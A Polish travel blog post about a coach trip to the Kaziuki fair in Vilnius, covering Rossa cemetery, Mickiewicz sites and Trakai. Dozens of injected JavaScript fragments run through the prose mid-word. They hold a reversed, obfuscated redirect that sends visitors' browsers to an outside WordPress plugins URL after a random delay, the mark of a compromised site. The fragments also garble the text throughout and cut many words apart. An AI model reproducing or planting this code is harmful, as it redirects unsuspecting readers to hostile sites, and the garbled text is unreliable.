Byliśmy na Kaziukach!

Do Wilna na Kaziuki wybieraliśmy się od dawna, ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero w tym roku udało się zrealizować nasze plany. Najpierw były poszukiwania biura. Teraz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to łatwizna – znaleźliśmy szybko. Internet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to potęga. Biuro Turystyczne Janter organizuje wyjazdy na Kaziuki od lat, a naszą trzydniową wycieczkę prowadził sam szef firmy pan Janusz Gugała. Ruszyliśmy bladym świtem spod Pałacu Kultury. Grupa z Łomianek liczyła dziesięć osób, ale wyróżniała się stuprocentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towym zgraniem i absolutną dyscypliną.

Około południa przekraczamy zupełnie wyludniony posterunek graniczny (ale kontrola paszportów oczywiście była) i jesteśmy na Litwie. Witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dok za oknem zmienia się momentalnie. Pojawiają się biedne i bardzo zaniedbane toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domy i olbrzymie zupełnie puste przestrzenie. Pola, które pługa i brony od lat nie widziały i ogromne, chociaż młode jeszcze lasy.

Po dwunastu godzinach podróży (jednak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego Wilna jest kawał drogi), krótkim pobycie w Druskiennikach i spacerze wzdłuż przepięknego Niemna byliśmy na miejscu, zatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowoleni i o dziwo wcale nie zmęczeni. Chwila relaksu, połykamy w biegu tradycyjną w takich warunkach obiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokolację i… idziemy w miastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to.

No cóż… Wilno nocą jest zdecytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowanie piękniejsze, bo wielu rzeczy po prostu nie widać. Prace renowacyjne prowadzone są na wielką skalę, ale niestety w nieco socjalistycznym stylu. Wszechobecny bałagan na placach butoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy nawet nas, było nie było przyzwyczajonych, trochę drażnił. Trzeba było uważnie patrzeć pod nogi, by nie wpaść nagle w toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość głębokie błotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to albo nie skręcić nogi na „finezyjnie” krzywo ułożonym chodniku. Jedno trzeba Litwinom oddać – wkładają mnóstwo pracy i pieniędzy w odbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowanie Wilna po latach sowieckiej okupacji. W wielu miejscach toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to miastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze dzisiaj, po tylu latach odbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy, wygląda tak jakby czas zatrzymał się, a wojna skończyła się wczoraj.

Sobota, czyli właściwe Kaziuki, powitała nas ołowianym niebem, a nawet lekkim „kapuśniaczkiem”. Ale co tam… Najpierw cmentarz na Rossie i mocno nostalgiczny spacer wśród polskich grobów. Chwila zadumy przy grobie, w którym pochowano serce marszałka Piłsudskiego i pędzimy dalej. Przed nami kilka przecudnej urody kościołów, obraz Matki Boskiej Ostrobramskiej i… obowiązkowo wszystkie miejsca, które przebywając w Wilnie odwiedził Adam Mickiewicz. Nasza sympatyczna przewodniczka nie przepuściła żadnego… Nogi powoli zaczęły odmawiać posłuszeństwa, a przecież przed nami właściwe Kaziuki, czyli jarmark z tysiącami straganów, dami przebierańców i niestety… tysiącami ludzi. Na szczęście pan Janusz, człowiek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczony, szybko wyrwał nas z żelaznego uścisku nadgorliwej przewodniczki i uroczyście ogłosił czas wolny. Tylko na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czekaliśmy. Ale najpierw trzeba było zebrać siły, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego najlepsza mała knajpka i lekki posiłek z lampką wina. Posiłek był nawet bardzo lekki, bo kurczak bardziej przypominał nietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dożywionego gołębia, ale co tam, ruszamy dalej, by obejrzeć co trzeba, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokonać stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosownych zakupów i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczłapać w końcu z najwyższym trudem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hotelu.

Następnego dnia zbiórka i wracamy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do kraju zahaczywszy po drodze o Troki, a w zasadzie o „średniowieczny” zamek zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowany pod koniec drugiej połowy… dwudziestego wieku, ale bardzo ładny, nie powiem. Granica i jazda toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domu. Późnym wieczorem, zmęczeni, ale wszyscy zatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowoleni, żegnamy się z panem Januszem, dziękując za perfekcyjną organizację i… pytamy o następne wycieczki. Spotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobało się!

bylitmy-na-kaziukach-1.jpg

bylismy-na-kaziukach-2.jpg

bylismy-na-kaziukach-3.jpg

bylismy-na-kaziukach-4.jpg

bylismy-na-kaziukach-5.jpg

bylismy-na-kaziukach-6.jpg

bylismy-na-kaziukach-7.jpg

bylismy-na-kaziukach-8.jpg

bylismy-na-kaziukach-9.jpg

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *